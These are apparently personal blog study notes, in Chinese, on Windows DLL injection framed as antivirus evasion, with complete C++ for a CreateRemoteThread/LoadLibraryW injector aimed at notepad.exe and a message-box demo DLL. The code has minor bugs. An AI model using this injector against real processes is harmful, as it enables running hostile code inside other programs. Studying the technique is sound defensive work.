【我的 Anti-AV 学习手札】DLL注入

无敌舍友s神免杀学了一个阶段,达者为师,向s师傅学习!!
ps:我的基础实在薄弱,WIN编程甚至都没做过,所以笔记翔实些

在这里插入图片描述


一、注入思路

1.在进程中开辟一段空间
2.存入dll绝对路径地址的字符串
3.使用RemoteCreateThread函数带起LoadLibrary函数带起dll

二、具体实现

(一)获取进程ID

CreateToolhelp32SnapshotProcess32FirstProcess32Next函数。这些函数可以让你遍历系统中所有运行的进程,并获取每个进程的名称和ID。

  1. 创建进程快照: 使用CreateToolhelp32Snapshot函数创建一个系统快照,包含所有进程的信息。
  2. 遍历进程: 使用Process32FirstProcess32Next函数遍历快照中的所有进程。
  3. 匹配进程名: 对于每个进程,获取其进程名并与目标进程名进行比较。
  4. 返回进程ID: 如果找到匹配的进程名,返回对应的进程ID。

1、CreateToolhelp32Snapshot

CreateToolhelp32Snapshot是Windows API中的一个函数,用于创建系统快照(snapshot),包含指定类型的系统信息。这个快照可以包含进程、线程、堆、模块等信息。创建快照后,你可以使用其他工具帮助API函数(如Process32FirstProcess32Next)来遍历这些信息。

HANDLE WINAPI CreateToolhelp32Snapshot(
  DWORD dwFlags,
  DWORD th32ProcessID
);
  1. dwFlags: 指定快照中包含的信息类型,可以是以下值的组合:

    • TH32CS_SNAPHEAPLIST: 包含指定进程的堆列表。
    • TH32CS_SNAPMODULE: 包含指定进程的模块列表。
    • TH32CS_SNAPPROCESS: 包含系统中所有进程的列表。
    • TH32CS_SNAPTHREAD: 包含系统中所有线程的列表。
    • TH32CS_SNAPALL: 包含所有上述信息(等同于TH32CS_SNAPHEAPLIST | TH32CS_SNAPMODULE | TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD)。
    • TH32CS_INHERIT: 指定快照句柄是可继承的。
  2. th32ProcessID: 指定进程ID,如果dwFlags包含TH32CS_SNAPHEAPLISTTH32CS_SNAPMODULETH32CS_SNAPALL,则该参数指定要包含在其快照中的进程ID。如果dwFlags包含TH32CS_SNAPPROCESSTH32CS_SNAPTHREAD,则该参数可以为0,表示包含所有进程或线程。

  • 如果函数成功,返回一个快照句柄(HANDLE)。
  • 如果函数失败,返回INVALID_HANDLE_VALUE(通常为-1)。
    //创建进程快照: 使用`CreateToolhelp32Snapshot`函数创建一个系统快照,包含所有进程的信息。
    HANDLE snapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        //差错控制
    if (snapShot == INVALID_HANDLE_VALUE) {
        printf("[-] SnapShot ERROR");
        getchar();
        exit(-1);
    }

2、Process32First和Process32Next

Process32FirstProcess32Next 是 Windows API 中的两个函数,用于遍历通过 CreateToolhelp32Snapshot 创建的进程快照中的所有进程。这两个函数通常一起使用,以遍历系统中的所有进程。

BOOL WINAPI Process32First(
  HANDLE hSnapshot,
  LPPROCESSENTRY32 lppe
);
BOOL WINAPI Process32Next(
  HANDLE hSnapshot,
  LPPROCESSENTRY32 lppe
);
  • hSnapshot: 通过 CreateToolhelp32Snapshot 创建的快照句柄。
  • lppe: 指向 PROCESSENTRY32 结构的指针,用于接收进程信息。
typedef struct tagPROCESSENTRY32 {
    DWORD   dwSize;
    DWORD   cntUsage;
    DWORD   th32ProcessID;      // 进程ID
    ULONG_PTR th32DefaultHeapID;
    DWORD   th32ModuleID;
    DWORD   cntThreads;
    DWORD   th32ParentProcessID; // 父进程ID
    LONG    pcPriClassBase;
    DWORD   dwFlags;
    CHAR    szExeFile[MAX_PATH]; // 进程可执行文件名
} PROCESSENTRY32, *PPROCESSENTRY32;
  //遍历进程: 使用`Process32First`和`Process32Next`函数遍历快照中的所有进程。
    PROCESSENTRY32 p32;
    p32.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hSnapShot, &p32)) {
        do {
            if (wcscmp(p32.szExeFile, processName)){
                TargetID = p32.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnapShot, &p32));
    }
    else {
        printf("[-] Get first process ERROR");
        getchar();
        exit(-1);
    }
    return TargetID;

3、GetProcessIDByName函数实现

#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <string>
#include <cstdio>

DWORD GetProcessIDByName(LPCTSTR processName) {
    DWORD TargetID = -1;
    //创建进程快照: 使用`CreateToolhelp32Snapshot`函数创建一个系统快照,包含所有进程的信息。
    HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        //差错控制
    if (hSnapShot == INVALID_HANDLE_VALUE) {
        printf("[-] SnapShot ERROR");
        getchar();
        return -1;
    }
    //遍历进程: 使用`Process32First`和`Process32Next`函数遍历快照中的所有进程。
    PROCESSENTRY32 p32;
    p32.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hSnapShot, &p32)) {
        do {
    //匹配进程名: 对于每个进程,获取其进程名并与目标进程名进行比较。
            if (!wcscmp(p32.szExeFile, processName)){
                TargetID = p32.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnapShot, &p32));
    }
    else {
        printf("[-] Get first process ERROR");
        getchar();
        return -1;
    }
    //返回进程ID: 如果找到匹配的进程名,返回对应的进程ID。
    return TargetID;
}

int main() {
    DWORD id=GetProcessIDByName(L"notepad.exe");
    printf("[+] Find target process id: %d", id);
    return 0;
}

(二)DLL注入

1、OpenProcess

OpenProcess 是 Windows API 中的一个函数,用于获取一个已经存在的进程的句柄。这个句柄可以用来对进程进行各种操作,如读取或写入进程内存、终止进程、查询进程信息等。

HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL  bInheritHandle,
  DWORD dwProcessId
);
  1. dwDesiredAccess
  • 指定对进程的访问权限。可以是一组标志的组合,常见的标志包括:
    • PROCESS_ALL_ACCESS:所有权限。
    • PROCESS_CREATE_THREAD:创建线程。
    • PROCESS_VM_OPERATION:操作进程内存。
    • PROCESS_VM_READ:读取进程内存。
    • PROCESS_VM_WRITE:写入进程内存。
    • PROCESS_DUP_HANDLE:复制句柄。
    • PROCESS_TERMINATE:终止进程。
    • PROCESS_QUERY_INFORMATION:查询进程信息。
    • PROCESS_SET_INFORMATION:设置进程信息。
  1. bInheritHandle

    • 指定返回的句柄是否可以被新创建的子进程继承。如果为 TRUE,则子进程可以继承该句柄;如果为 FALSE,则不能继承。
  2. dwProcessId

    • 指定要打开的进程的标识符(Process ID)。
  • 如果函数成功,返回值是一个指向指定进程的句柄。
  • 如果函数失败,返回值为 NULL。可以使用 GetLastError 函数获取扩展错误信息。
  //1. 获取目标进程句柄
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (hProcess == NULL) {
        printf("[-] OpenProcess Error!");
        getchar();
        return -1;
    }

2、VirtualAllocEx

VirtualAllocEx 是 Windows API 中的一个函数,用于在指定进程的地址空间内分配内存。这个函数主要用于进程间通信、代码注入等操作。

LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);
  1. hProcess

    • 目标进程的句柄。这个句柄通常通过 OpenProcess 函数获得。
  2. lpAddress

    • 指定希望分配内存的起始地址。如果传入 NULL,系统会自动选择一个合适的起始地址。
  3. dwSize

    • 要分配的内存区域的大小(以字节为单位)。
  4. flAllocationType

    • 指定内存分配的类型。常见的类型包括:
      • MEM_COMMIT:提交物理存储,为内存区域分配物理内存。
      • MEM_RESERVE:保留地址空间,但不分配物理内存。
      • MEM_RESET:标记指定内存区域的内容为未初始化状态。
      • MEM_RESET_UNDO:取消 MEM_RESET 的影响。
      • MEM_LARGE_PAGES:使用大页内存(需要特殊的权限)。
  5. flProtect

    • 指定内存保护类型。常见的类型包括:
      • PAGE_READONLY:只读。
      • PAGE_READWRITE:读写。
      • PAGE_EXECUTE:可执行。
      • PAGE_EXECUTE_READ:可执行、只读。
      • PAGE_EXECUTE_READWRITE:可执行、读写。
      • PAGE_GUARD:标记为“守卫页”,访问时触发异常。
  • 如果函数成功,返回值是指向分配内存区域起始地址的指针。
  • 如果函数失败,返回值为 NULL。可以使用 GetLastError 函数获取扩展错误信息。
  //2. 在目标进程申请分配一块空间
    DWORD size = (wcslen(dllName)+1)* sizeof(TCHAR);
    LPVOID allocAddr = VirtualAllocEx(hProcess,NULL,size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (allocAddr == NULL) {
        printf("[-] VirtualAllocEx Error!");
        getchar();
        return -1;
    }

3、WriteProcessMemory

WriteProcessMemory 是 Windows API 中的一个函数,它允许你将数据写入另一个进程的内存空间。这个函数通常用于进程间通信、调试、代码注入等场景。

BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);
  1. hProcess

    • 目标进程的句柄。这个句柄通常通过 OpenProcess 函数获得。
  2. lpBaseAddress

    • 目标进程中要写入数据的目标地址。
  3. lpBuffer

    • 指向要写入目标进程的数据缓冲区的指针。
  4. nSize

    • 要写入的数据的大小(以字节为单位)。
  5. lpNumberOfBytesWritten

    • 指向一个变量的指针,用于接收实际写入的字节数。如果不需要这个信息,可以传入 NULL
  • 如果函数成功,返回值为 TRUE
  • 如果函数失败,返回值为 FALSE。可以使用 GetLastError 函数获取扩展错误信息。
    //3. 往目标进程的目标空间写数据
    if (!WriteProcessMemory(hProcess,addr,dllName,size,NULL)){
        printf("[-] WriteProcessMemory Error!");
        getchar();
        return -1;
    }

4、GetModuleHandle和GetProcAddress

获取 kernel32.dllLoadLibraryW 函数的地址,并将其转换为 LPTHREAD_START_ROUTINE 类型的函数指针。这个操作通常用于创建远程线程或在目标进程中加载 DLL 文件。

  1. 获取模块句柄

    HMODULE hModule = GetModuleHandle(L"kernel32.dll");
    
    • GetModuleHandle 函数返回指定模块的句柄。这里获取的是 kernel32.dll 模块的句柄。
  2. 获取函数地址

    FARPROC pThread = GetProcAddress(hModule, "LoadLibraryW");
    
    • GetProcAddress 函数返回指定模块中指定函数的地址。这里获取的是 LoadLibraryW 函数的地址。
  3. 转换为线程函数指针类型

    LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
    
    • LPTHREAD_START_ROUTINE 是一个指向线程函数的指针类型。这里将 LoadLibraryW 函数的地址转换为 LPTHREAD_START_ROUTINE 类型。

5、CreateRemoteThread

CreateRemoteThread 是 Windows API 中的一个函数,它允许你在另一个进程中创建一个线程。这个函数通常用于进程间通信、代码注入等高级操作。

HANDLE CreateRemoteThread(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);
  1. hProcess

    • 目标进程的句柄。这个句柄通常通过 OpenProcess 函数获得。
  2. lpThreadAttributes

    • 指向 SECURITY_ATTRIBUTES 结构的指针,用于指定线程的安全属性。如果为 NULL,则使用默认安全属性。
  3. dwStackSize

    • 新线程的初始堆栈大小,以字节为单位。如果为 0,则使用与系统相关的默认值。
  4. lpStartAddress

    • 指向新线程的起始地址(函数指针)。这个地址必须在目标进程的地址空间中有效。
  5. lpParameter

    • 传递给新线程的参数。这个参数可以是任何类型,但必须是目标进程的地址空间中的有效地址。
  6. dwCreationFlags

    • 控制线程创建的标志。常见的标志包括:
      • 0:线程在创建后立即运行。
      • CREATE_SUSPENDED:线程在创建后处于挂起状态,可以通过 ResumeThread 函数恢复运行。
  7. lpThreadId

    • 指向一个变量的指针,用于接收新线程的 ID。如果不需要这个信息,可以传入 NULL
  • 如果函数成功,返回值为新线程的句柄。
  • 如果函数失败,返回值为 NULL。可以使用 GetLastError 函数获取扩展错误信息。
    //5. CreateRemoteThread创建线程
    HANDLE remoteThread = CreateRemoteThread(hProcess,NULL,0, addr, allocAddr, 0,NULL);
    if (remoteThread == NULL) {
        printf("[-] CreateRemoteThread Error!");
        getchar();
        return -1;
    }

6、WaitForSingleObject

WaitForSingleObject 是 Windows API 中的一个函数,用于等待指定的内核对象进入信号状态。这个函数常用于多线程编程中,以实现线程同步。

DWORD WaitForSingleObject(
    HANDLE hHandle,      // 要等待的内核对象的句柄
    DWORD dwMilliseconds // 等待的时间(以毫秒为单位)
);
  1. hHandle:要等待的内核对象的句柄。可以是以下类型的句柄:

    • 线程(CreateThread 返回的句柄)
    • 进程(CreateProcess 返回的句柄)
    • 事件(CreateEvent 返回的句柄)
    • 信号量(CreateSemaphore 返回的句柄)
    • 互斥体(CreateMutex 返回的句柄)
    • 定时器(CreateWaitableTimer 返回的句柄)
    • 其他的可等待对象
  2. dwMilliseconds:等待的时间(以毫秒为单位)。如果这个值为 INFINITE,函数将无限期地等待下去,直到对象变为有信号状态。如果这个值为 0,函数将立即返回,不等待。

WaitForSingleObject 返回以下几种可能的值:

  • WAIT_OBJECT_0:指定的对象变为有信号状态。
  • WAIT_ABANDONED:当等待的对象是互斥体时,互斥体被放弃,通常是因为持有互斥体的线程在退出时没有释放它。
  • WAIT_TIMEOUT:在指定的时间内,对象没有变为有信号状态。
  • WAIT_FAILED:函数调用失败,可以使用 GetLastError 获取错误码。
    //6. 等待线程结束
    WaitForSingleObject(remoteThread, INFINITE);

7、VirtualFreeEx

VirtualFreeEx 是 Windows API 中的一个函数,用于在指定的进程的地址空间中释放之前通过 VirtualAllocEx 分配的虚拟内存区域。这个函数允许你释放内存页,并可以选择将这些页面中的内存标记为可用(即解除分配)。

BOOL VirtualFreeEx(
    HANDLE hProcess,      // 目标进程的句柄
    LPVOID lpAddress,     // 要释放的内存地址
    SIZE_T dwSize,        // 要释放的内存大小
    DWORD dwFreeType      // 释放类型
);
  1. hProcess:目标进程的句柄。这个句柄必须具有 PROCESS_VM_OPERATION 访问权限。
  2. lpAddress:指向要释放的内存区域的起始地址的指针。这个地址必须是之前通过 VirtualAllocEx 分配的内存区域的起始地址。
  3. dwSize:要释放的内存区域的大小(以字节为单位)。如果 dwSize 为 0 并且 dwFreeTypeMEM_RELEASE,则整个区域将被释放。
  4. dwFreeType:指定释放操作的类型。可以是以下值之一:
    • MEM_DECOMMIT:解除分配指定页范围内的内存,但不释放这些页面。这些页面可以稍后重新提交。
    • MEM_RELEASE:释放指定页范围内的内存,并将其标记为可用。释放后,这些页面不能再被访问。
  • 如果函数成功,返回值为非零值。
  • 如果函数失败,返回值为 0。可以使用 GetLastError 获取错误代码。
    //7. 释放dll空间
    VirtualFreeEx(hProcess, allocAddr, size, MEM_RELEASE);

三、完整代码

(一)弹窗demo.dll

#include <windows.h>
#include <iostream>

// 导出函数:显示消息框
extern "C" __declspec(dllexport) void ShowMessage() {
    MessageBox(NULL, TEXT("Hello from MyDLL!"), TEXT("Message"), MB_OK);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        ShowMessage();
    }
    return TRUE;
}

(二)DLL注入

#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <string>
#include <cstdio>

DWORD GetProcessIDByName(LPCTSTR processName) {
	DWORD TargetID = -1;
	//创建进程快照: 使用`CreateToolhelp32Snapshot`函数创建一个系统快照,包含所有进程的信息。
	HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	//差错控制
	if (hSnapShot == INVALID_HANDLE_VALUE) {
		printf("[-] SnapShot ERROR");
		getchar();
		return -1;
	}
	//遍历进程: 使用`Process32First`和`Process32Next`函数遍历快照中的所有进程。
	PROCESSENTRY32 p32;
	p32.dwSize = sizeof(PROCESSENTRY32);
	if (Process32First(hSnapShot, &p32)) {
		do {
			//匹配进程名: 对于每个进程,获取其进程名并与目标进程名进行比较。
			if (!wcscmp(p32.szExeFile, processName)) {
				TargetID = p32.th32ProcessID;
				break;
			}
		} while (Process32Next(hSnapShot, &p32));
	}
	else {
		printf("[-] Get first process ERROR");
		getchar();
		return -1;
	}
	//返回进程ID: 如果找到匹配的进程名,返回对应的进程ID。
	return TargetID;
}

DWORD RemoteThreadInject(DWORD pid, LPCUWSTR dllName) {
	//1. 获取目标进程句柄
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (hProcess == NULL) {
		printf("[-] OpenProcess Error!");
		getchar();
		return -1;
	}
	//2. 在目标进程申请分配一块空间
	DWORD size = (wcslen(dllName)+1)* sizeof(TCHAR);
	LPVOID allocAddr = VirtualAllocEx(hProcess,NULL,size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (allocAddr == NULL) {
		printf("[-] VirtualAllocEx Error!");
		getchar();
		return -1;
	}
	//3. 往目标进程的目标空间写数据
	if (!WriteProcessMemory(hProcess,allocAddr,dllName,size,NULL)){
		printf("[-] WriteProcessMemory Error!");
		getchar();
		return -1;
	}
	//4. 获取 `kernel32.dll` 中 `LoadLibraryW` 函数的地址,并将其转换为 `LPTHREAD_START_ROUTINE` 类型的函数指针
	HMODULE hModule = GetModuleHandle(L"kernel32.dll");
	FARPROC pThread = GetProcAddress(hModule, "LoadLibraryW");
	LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
	//5. CreateRemoteThread创建线程
	HANDLE remoteThread = CreateRemoteThread(hProcess,NULL,0, addr, allocAddr, 0,NULL);
	if (remoteThread == NULL) {
		printf("[-] CreateRemoteThread Error!");
		getchar();
		return -1;
	}
	//6. 等待线程结束
	WaitForSingleObject(remoteThread, INFINITE);
	//7. 释放dll空间
	VirtualFreeEx(hProcess, allocAddr, size, MEM_RELEASE);
	//8. 关闭句柄
	CloseHandle(hProcess);
	return TRUE;
}
int main() {
	DWORD processID = GetProcessIDByName(L"notepad.exe");
	if (processID < 0) {
		printf("[-] No Target Process");
		getchar();
		exit(-1);
	}
	if (RemoteThreadInject(processID, L"C:\\Users\\user\\Desktop\\WIN-AntiAV\\DLL-popwindow\\x64\\Debug\\DLL-popwindow.dll") < 0) {
		printf("[-] Inject Failed");
		getchar();
		exit(-1);
	}
	return 0;
}

四、效果

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值